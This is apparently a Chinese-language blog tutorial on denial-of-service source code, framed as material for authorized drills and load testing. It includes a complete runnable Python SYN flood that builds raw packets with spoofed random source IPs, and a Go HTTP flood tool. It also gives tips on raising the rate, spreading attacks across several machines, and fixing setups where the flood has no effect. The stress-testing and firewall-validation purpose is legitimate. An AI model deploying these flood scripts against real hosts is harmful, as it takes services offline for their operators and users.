简介:这是一份面向网络安全学习者、在校学生及安全测试人员的DOS拒绝服务攻击实验源代码,用于从代码层面理解网络攻击的常见手法与防御思路。资源共6个文件,以C++源文件为核心,附带Visual C++工程所需的项目文件(.dsp、.dsw、.opt、.plg、.ncb),压缩包仅11KB,属于轻量级教学示例。目前已有512人学习浏览。源码展示了SYN Flood、Ping Flood、UDP Flood等经典攻击的实现逻辑:比如通过大量SYN请求制造半开连接,耗尽目标服务器的内存与CPU;或持续发送ICMP回显请求导致系统无法响应。读者可结合描述中的防护策略,深入理解防火墙规则过滤、连接阈值限制、流量清洗及负载均衡等机制如何阻断或缓解此类攻击,并由此建立对DDoS分布式攻击及系统加固的整体认知。需要强调的是,该代码仅限在合法实验环境、渗透测试授权或教学研究中分析使用,任何未经许可的主动攻击都属违法行为,请务必遵守网络安全法律法规。
1. 先说清楚:DOS 拒绝服务攻击源代码是什么,为什么隔离环境里最缺它
如果你在找用 Python 或 C 写的 DOS 拒绝服务攻击源代码,大概率不是要去搞破坏,而是遇到了一件具体的事:安全演练、网络压测、防火墙规则验证,都需要构造真实的攻击流量。我自己做内网演练时就经常碰到这种局面——现成攻击工具参数不透明,像个黑匣子,想调慢点观察防护设备反应都没法下手,干脆把源码读透,按自己的场景重写。
下面的内容按“模型—源码—参数—踩坑—反向使用”的顺序讲:DoS 背后是哪些协议漏洞,最小可运行代码长什么样,rate 和源 IP 怎么调,以及五个最容易翻车的坑。适合运维、安全工程师和负责网关策略的人。跑通以后你手里的就不只是一段代码,而是一套能验证防护设备阈值、能产出压测基线的工具。
2. 读 DoS 源代码前要建立的四类攻击模型:每种对应一个源码骨架
2.1 SYN Flood:用半连接占满协议栈状态表
SYN Flood 打的是 TCP 三次握手的内核实现。客户端发 SYN,服务端回复 SYN+ACK,然后把这条连接放进半连接队列,等客户端的 ACK。如果客户端永远不发 ACK,这条半连接就会在队列里捱到超时。队列长度是有限的,超出后新 SYN 直接丢,正常用户也连不进来。
源码层面这件事极简:构造一个 TCP 头,Flags 只置 SYN,源 IP 随机填,然后循环发送。不需要完整握手,不需要 ACK,不需要应用层数据。理解这个模型后你就知道为什么它挑端口——目标是任何监听 TCP 的服务,80、443、22 都可以。真正写代码时有两个隐藏难点:一个是 IP 头校验和与 TCP 头校验和的计算,另一个是 raw socket 需要 root 权限,这两点我在第 3 章会给出可跑通的写法。
2.2 HTTP Flood:应用层请求走的是完整业务链路
HTTP Flood 和三握手攻击完全不同。它建立的是完整 TCP 连接,发送合法 HTTP GET 或 POST 请求,服务器要经过 accept、HTTP 解析、路由分发、查数据库、渲染响应这一整条链路。消耗的不是半连接队列,而是 CPU、内存、数据库连接池和带宽。
这类源码的骨架一眼就能认出来:一个循环里反复发起 HTTP 请求,强调并发、连接复用、随机化的 URL 参数。和 SYN Flood 比,它更难防护,因为请求看起来是正常的,你必须靠频率和指纹识别。写这种源码时,重点不在 TCP 头,而在 HTTP 客户端的配置——超时时间、连接复用、User-Agent 伪装。Go 和 Python 都有很成熟的实现,第 4 章我会用 Go 写一个可限速的版本。
2.3 UDP 反射放大:小请求换大流量的杠杆原理
反射放大的核心是“源地址欺骗 + 不对称响应”。攻击者把 UDP 请求的源 IP 伪造成受害者 IP,发给 NTP、DNS、memcached 这类公共服务,服务端会把大量响应数据发给受害者。NTP 的 monlist 请求几十字节,响应能达到几百倍甚至上千倍放大。
写这类源码比 SYN Flood 还简单,因为 UDP 无状态,用普通 socket 就能发,唯一关键是能伪造源 IP 的 raw socket。但近年运营商和云厂商做了不少源地址验证(BCP38 思路),伪造源 IP 的包可能出不了网。所以现在的反射放大源码往往配合僵尸网络,源 IP 是真实肉鸡 IP,杠杆率依然成立。你如果只是做内网防护测试,重点看反射倍数这个参数,而不是纠结能不能出网。
2.4 慢速攻击:用长连接拖住连接数上限
慢速攻击和前面三种完全不是一个路子。它不追求单包杀伤力,而是把每个连接占住不放。Slowloris 是最典型的:建立 TCP 连接后,缓慢地发 HTTP 头,故意不发送结束符,让服务器一直等;当连接数接近上限时,正常用户连不上。另外一种变体是 slow body,连接建立了、POST 头也发完了,但 body 每几十秒才挤一段。
源码里它的特征是循环 + sleep,并且设置了很高的超时阈值。参数上最敏感的是“并发连接数”和“发包间隔”。这类攻击对 Apache 这类按进程/线程处理连接的架构很有效,但对基于事件循环的架构(Nginx、Node.js)效果差很多。看懂这套模型,你就知道为什么防护设备的“慢速攻击检测”往往盯着新建连接速率和单个连接存活时长这两个指标。
3. 用 Python 还原一个 SYN Flood 原型:最小可运行源码与参数拆解
3.1 最小可运行的 raw socket 代码
先给一段我用来做内网演练的 Python 脚本,核心逻辑约 50 行,只依赖标准库。它手工构造 IP 头和 TCP 头,把 SYN 包发到目标 IP 的指定端口。
import random import socket import struct import time def checksum(data: bytes) -> int: if len(data) % 2: data += b"\x00" total = 0 for i in range(0, len(data), 2): total += struct.unpack("!H", data[i:i+2])[0] total = (total >> 16) + (total & 0xffff) total += total >> 16 return (~total) & 0xffff def build_syn_packet(src_ip: str, dst_ip: str, dst_port: int) -> bytes: src_port = random.randint(1024, 65535) seq = random.randint(0, 0xffffffff) tcp_header = struct.pack( "!HHIIBBHHH", src_port, # 源端口,随机 dst_port, # 目标端口 seq, # 初始序列号,随机 0, # ACK 序列号,SYN 时为 0 5 << 4, # 数据偏移 5,即 TCP 头 20 字节 0x02, # Flags 只置 SYN 4096, # 窗口大小 0, # 校验和先填 0 0 # 紧急指针 ) pseudo_header = ( socket.inet_aton(src_ip) + socket.inet_aton(dst_ip) + struct.pack("!BBH", 0, socket.IPPROTO_TCP, len(tcp_header)) ) tcp_checksum = checksum(pseudo_header + tcp_header) tcp_header = tcp_header[:16] + struct.pack("!H", tcp_checksum) + tcp_header[18:] ip_total_len = 20 + 20 ip_header = struct.pack( "!BBHHHBBH4s4s", 0x45, # IPv4,IHL=5 0, # DSCP/ECN ip_total_len, # IP 总长度 random.randint(0, 0xffff), # 标识字段随机 0x4000, # DF=1 64, # TTL socket.IPPROTO_TCP, 0, # IP 校验和先填 0 socket.inet_aton(src_ip), socket.inet_aton(dst_ip) ) ip_checksum = checksum(ip_header) ip_header = ip_header[:10] + struct.pack("!H", ip_checksum) + ip_header[12:] return ip_header + tcp_header def main(): dst_ip = "192.168.1.100" dst_port = 8080 rate = 200 # 每秒发包数,先从小值开始调 sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) interval = 1.0 / rate while True: src_ip = ".".join(str(random.randint(1, 255)) for _ in range(4)) packet = build_syn_packet(src_ip, dst_ip, dst_port) sock.sendto(packet, (dst_ip, 0)) time.sleep(interval) if __name__ == "__main__": main()这段代码最值得读的部分是校验和计算。TCP 的校验和不是只算 TCP 头,而是把伪头部(源 IP、目的 IP、协议号、TCP 长度)和 TCP 段拼在一起算,伪头部不发送,只参与计算。很多改造成 UDP Flood 的脚本校验和算错,就是这个细节没掌握。另一个关键是IPPROTO_RAW配合IP_HDRINCL,告诉内核整个 IP 头由我们自己构造,内核不会再套一层——否则它会按实际网卡地址重写源 IP,你的伪造就失效了。
interval = 1.0 / rate是简单的时间间隔控制。rate 设 200 表示每秒 200 个 SYN 包,这个速率在内网测试里不会太激进;真实攻防里 rate 会调到几千甚至上万,但单机很容易先到网卡上限。
3.2 四个关键参数:src_ip、dst_port、rate、seq
先看src_ip。代码里用随机四段数字,这模拟了源地址伪造。内网环境里,如果目标开启了路由过滤,伪造完全随机的 IP 可能发不出去,我一般把 IP 段限制在和目标同网段,例如目标在 192.168.1.0/24,源地址就在 192.168.1.2 到 192.168.1.254 之间随机。这样包能在局域网直接到达目标,又能打乱 conntrack 的状态表。
dst_port的选择决定了测试对象。打 80/443 会触发 Web 服务的接入层防护,打 SSH 22 端口则容易把运维通道直接堵死——这个坑我在第 5 章细说。rate是另一个关键,它直接决定测试是“缓慢观察”还是“瞬间压垮”。我习惯从 100 起步,每 30 秒翻一倍,同时盯目标机器的 CPU 软中断和 conntrack 表项数,直到看到指标拐点。
seq是序列号。SYN Flood 里它必须随机,否则某些内核的自动防护能识别出固定模式并直接丢弃。代码里的random.randint(0, 0xffffffff)已经覆盖了这种情况。千万不要图省事写死成 0,那是很多“看起来在发包但目标毫无动静”的典型案例。
3.3 单机跑和分布式跑:瓶颈与最小组织方式
单机跑 SYN Flood,瓶颈通常不在 CPU,而在两个地方。第一个是发送间隔的精度,Python 的time.sleep在毫秒级别误差不大,但 rate 超过 2000 时,sleep 的调度抖动会让实际速率忽高忽低。第二个是网卡和驱动,普通千兆网卡处理小包时 PPS 上限大约在 100 万上下,但内核的协议栈处理也会抢占 CPU。
真实场景里单机不够,需要分布式。最常见的做法是准备若干台压测机,每台跑一份脚本,目标和端口相同,源 IP 段错开,由控制端统一给定 rate 总和。用 git 做源代码管理时,我会把 rate、端口、源 IP 段作为启动参数而不是硬编码,这样批量起任务只要改命令行,不用改代码。总有人带着“大模型源码多少行”的心态来问 DoS 代码多少行——其实核心逻辑一屏就放下了,行数不是价值,协议细节和工程化才是。
另外提醒一点:脚本默认的sleep循环没有优雅退出,要停就用 Ctrl+C。但 raw socket 在进程被 kill 后,已经发出的 SYN 包不会有任何回收动作,目标上的半连接只能等内核超时清掉,这是协议设计如此,不是代码 bug。
4. 用 Go 写一个 HTTP Flood 压测器:源码结构与并发模型选择
4.1 从 Python 换到 Go 的三个理由
第一个理由是连接管理。Python 的 Requests 每发一个请求都要处理连接池和线程锁,而 Go 的net/http底层连接池天然适合高并发,协程开销远小于线程,几千个并发连接是常规操作。第二个理由是编译产物。Go 编译出来是单一二进制,丢到压测机上不需要装 Python 环境和依赖,对多机分布式测试非常友好。第三个理由是限速精度,Go 的time.Ticker在毫秒级别的节奏控制上比 Python 的 sleep 更稳,HTTP Flood 这类应用层压测,速率波动直接影响测试结果的可信度。
4.2 可运行的 Go 源码与参数说明
下面这段代码我用于对业务系统做 HTTP 层压测,重点是可控速率和连接复用。
package main import ( "flag" "fmt" "net/http" "sync" "sync/atomic" "time" ) var sent int64 var ok int64 func fire(client *http.Client, url string) { resp, err := client.Get(url) if err != nil { atomic.AddInt64(&sent, 1) return } resp.Body.Close() atomic.AddInt64(&sent, 1) atomic.AddInt64(&ok, 1) } func main() { url := flag.String("url", "", "目标 URL") workers := flag.Int("w", 20, "并发协程数") rate := flag.Int("rate", 200, "每秒请求上限") seconds := flag.Int("t", 10, "持续时间秒") flag.Parse() if *url == "" { flag.Usage() return } client := &http.Client{ Transport: &http.Transport{ MaxIdleConnsPerHost: 100, DisableKeepAlives: false, }, Timeout: 2 * time.Second, } per := *rate / *workers if per < 1 { per = 1 } var wg sync.WaitGroup for i := 0; i < *workers; i++ { wg.Add(1) go func() { defer wg.Done() ticker := time.NewTicker(time.Second / time.Duration(per)) defer ticker.Stop() deadline := time.Now().Add(time.Duration(*seconds) * time.Second) for now := range ticker.C { if now.After(deadline) { return } go fire(client, *url) } }() } wg.Wait() fmt.Printf("sent=%d ok=%d failed=%d\n", sent, ok, sent-ok) }代码的逻辑是让每个 worker 协程用自己的ticker独立限速,总速率等于 workers 乘以 per。这样做的好处是避免全局一个 ticker 带来的锁竞争和瞬间请求尖峰。per := *rate / *workers是整除,所以实际速率会略小于设定值,这是可以接受的误差。
MaxIdleConnsPerHost是连接池的关键参数。HTTP Flood 的连接复用很依赖它——如果设太小,连接会被反复新建,TCP 握手本身就成了瓶颈;设太大又会占满目标连接表,这个要看目标服务器的承受能力调。Timeout 建议不要设太长,否则网络偶发延迟会导致大量 goroutine 堆积,压测机的文件描述符先被耗尽。
4.3 压测与攻击的工程边界:限速和阈值怎么写
这版代码和攻击脚本的差别只有一个:限速。攻击脚本追求最大速率,压测代码必须有明确的速率上限。工程上我习惯把 rate、workers、seconds 三个参数全部暴露给命令行,这样可以在测试报告里完整记录测试条件,回滚对比时也有据可查。
另一个边界是目标的选择。压测对象应该是测试环境或授权的预发环境,绝不能拿生产地址当靶子。群里看到有人拿公司线上商城试这段代码,三分钟不到就把应用服务器打挂了,这是事故,不是测试。授权、限速、明确目标,这三件事缺一件,代码就从压测工具变成了攻击工具,性质完全不同。
5. 把 DoS 源代码跑起来之前的避坑清单:五个真实翻车现场
5.1 本机打本机:现象是服务没挂、机器先断网
第一次跑 SYN Flood 时我直接在本机起了一个测试服务,脚本目标填 127.0.0.1。结果服务没挂,我的 SSH 先断了,机器整体失联。原因是本机发出的大量 SYN 包打满了 loopback 接口的处理能力,ssh 进程也被拖慢,看起来就像断网。
解决方法是把目标和攻击源放到两台不同机器上,或者至少用虚拟机隔离。如果只有一台机器,就开两个网卡 namespace,一个跑服务,一个跑脚本,中间用 veth 连通。绝不要让攻击流量和控制流量走同一个接口。
5.2 虚拟机里跑满速没效果:现象是目标毫无反应
我在 VMware 里跑脚本时,rate 调到 1000,目标机器的 CPU 和网络指标纹丝不动。排查了一下午,发现虚拟网卡默认开启的 TCP 校验和卸载(checksum offload)把问题掩盖了。虚拟机网卡对发出的包自动重新计算校验和,意味着我脚本里花大力气构造的 TCP checksum 根本没生效,包结构是错的,目标直接丢弃。
解决方法是把虚拟网卡的 checksum offload 关掉,或者用支持 raw socket 的虚拟交换机模式。这个坑最折腾,因为它不是报错,而是“一切都正常但没效果”。遇到这种玄学问题,第一件事用 tcpdump 在目标侧抓包,看 SYN 包到达没有、长度和 flag 对不对。
5.3 代码在跑但指标不动:现象是被防火墙静默丢弃
目标机器的 iptables 配了--syn过滤或连接数限制时,脚本发出的包会被静默丢弃,服务端没有任何感知。现象就是速率加得再高,目标侧抓不到包,或者抓到了但被丢在 PREROUTING 阶段。
解决方法是先看目标机器的 conntrack 计数:sysctl net.netfilter.nf_conntrack_count。如果计数远小于发送量,多半被前面规则挡住了。测试前先清空测试机的防火墙规则,或者把测试 IP 加入白名单。这也是演练前最容易被忽略的准备工作。
5.4 目标没倒、日志把磁盘写满:现象是监控先报警磁盘
HTTP Flood 压测时,我给测试脚本加了一行请求日志,每条记录时间戳、状态码、耗时。压测三分钟,目标服务扛住了,但我这台压测机的磁盘被日志文件写满了。原因很简单——rate 200 时每秒 200 行日志,十分钟就是 12 万行,每行 100 字节就是 12MB,看着不多,但如果加了响应体打印,单行上 KB,很快就爆。
解决方法是日志只记录摘要,不记录每条请求,或者用logrotate做切割。我在后面改的版本里,只在进程结束时打印sent/ok/failed三个计数,中间过程全靠fmt.Printf输出到终端而不是文件。
5.5 raw socket 直接 Permission Denied:现象是代码一启动就退出
Linux 上创建 raw socket 需要CAP_NET_RAW权限,普通用户运行会报Permission denied。Go 版本没有这个问题,但 Python 的 raw socket 一定有。另外 Docker 容器里默认的 capabilities 也去掉了NET_RAW,所以在容器里跑这段脚本同样会失败。
解决方法是给脚本加 sudo,或者在容器启动时加--cap-add=NET_RAW。我后来统一用setcap cap_net_raw+ep /usr/bin/python3给解释器加权限,但要注意这会有安全影响,只在隔离测试环境用。还有一种情况是云主机上某些安全组件会拦截 raw socket 的系统调用,现象同样是权限错误,但这种属于厂商限制,只能换一台机器测。
6. 把攻击源码反过来用:从 DoS 脚本到压测基线与防护验证
跑通上面两类源码后,我建议你把它们的角色反转过来。同一份 SYN Flood 脚本,rate 调到 50,它就从一个攻击工具变成了验证防火墙规则的探针。我先给目标防护设备配置 SYN Flood 阈值,然后用递增速率去触发它,观察设备是在哪一级开始丢包、报警邮件什么时候发出、清洗策略是否真的生效。这个流程比任何扫描器都可靠,因为你用的是真实协议栈的流量,不是模拟器。
验证方法上有两个小技巧。第一个是抓包对账:目标侧跑tcpdump -i eth0 tcp[tcpflags] & tcp-syn != 0,统计实际到达的 SYN 包数量,和脚本打印的发送量对比。差距超过 5% 就说明中间的某个环节在丢包,需要查链路、防火墙还是网卡。第二个是配合防护设备看指标:大多数商业 WAF 和 IPS 会展示 SYN Flood 攻击事件的开始、结束时间和峰值速率,我用脚本把测试场景复现后,拿设备记录的峰值和脚本配置的 rate 做交叉验证,能很快发现设备上报的数值偏差。
Go 版 HTTP Flood 的用途则是做容量基线。我在每次业务发版前跑一轮:rate 从 100 开始,每 30 秒加 100,到 1000 为止,记录响应时间 P99 和应用服务器 CPU 使用率。只要基线有了,下次压测一出来就能立刻看出代码变更对性能的影响,这是压测代码最值钱的地方。为了便于对比,我会把测试参数和结果按日期归档,连同 git 提交号一起存好,复盘时直接看差异。
最后说一个我自己的习惯:拿到任何一份 DoS 源代码,第一件事不是看攻击效果,而是看它有没有限速参数、有没有目标校验、有没有自动停止机制。三个都没有的代码,我不会跑,因为伤害不可控。把运行边界框好,这套源码就是一张可重复使用的测试底牌;框不好,它就是事故导火索。多做一步,后面省十步,希望帮到你。
本文还有配套的精品资源,点击获取